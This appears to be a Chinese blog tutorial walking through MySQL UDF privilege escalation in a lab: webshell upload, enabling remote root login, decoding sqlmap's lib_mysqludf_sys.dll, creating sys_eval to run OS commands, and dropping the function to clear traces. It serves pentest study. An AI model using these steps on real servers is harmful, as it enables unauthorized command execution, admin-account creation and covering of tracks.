MySQL_UDF提权
时间:2021-07-01 10:21:17
帮助过:42人阅读
root权限(需要创建和删除自定义函数)
mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:\windows\system32 目录,在 win2000下放置在 c:\winnt\system32 目录
mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 lib\plugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll 文件导出到该目录)
三、提权
3.1实验环境
攻击机:win10
ip:192.168.34.1
靶机:win7
ip:192.168.34.130
攻击机在靶机写入一句话木马,蚁剑连接。
(mysql 远程登录报错 Host is not allowed to connect to this MySQL server 解决方法:
- 在装有 mysql 的机器上登录 mysql -u root -p 密码(远程 phpmyadmin 也可以)
- 执行 use mysql;
- 执行 update user set host = ‘%‘ where user = ‘root‘; (这一句执行会报错,不用管它)
- 执行FLUSH PRIVILEGES;
)
3.2上传UDF
先判断数据库版本,符合 mysql >= 5.1 情况。

sqlmap 中有 udf 文件,分为32位和64位,根据 mysql 的位数选择(不是靶机系统位数),命令 show variables like ‘%version_%‘; 查看 mysql 位数。

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll_,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\Penetration\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。

3.3引入函数
需要创建 udf 中存在的函数,可以用 winhex 打开 dll 看一下有哪些函数可以创建。这里选择 sys_eval 函数。
sys_eval:执行任意命令,并将输出返回。sys_exec:执行任意命令,并将退出码返回。

引入自定义函数:create function sys_eval returns string soname "lib_mysqludf_sys.dll";
3.4使用函数
验证一下:select * from mysql.func where name = ‘sys_eval‘;

select sys_eval(‘calc‘); 弹计算器实验一下,还可以新建账号加入管理员组等进行其它操作。

3.5清除痕迹
删除函数命令:
drop function sys_eval;
delete from mysql.func where name=‘sys_eval‘;


参考:
http://www.yangchengec.cn/zhoubian/365.html
https://www.jianshu.com/p/5b34c1b6dee7
https://blog.csdn.net/qq_26090065/article/details/81515355
MySQL_UDF提权
标签:机器 set 防止 ring span 密码 编码 article 一句话木马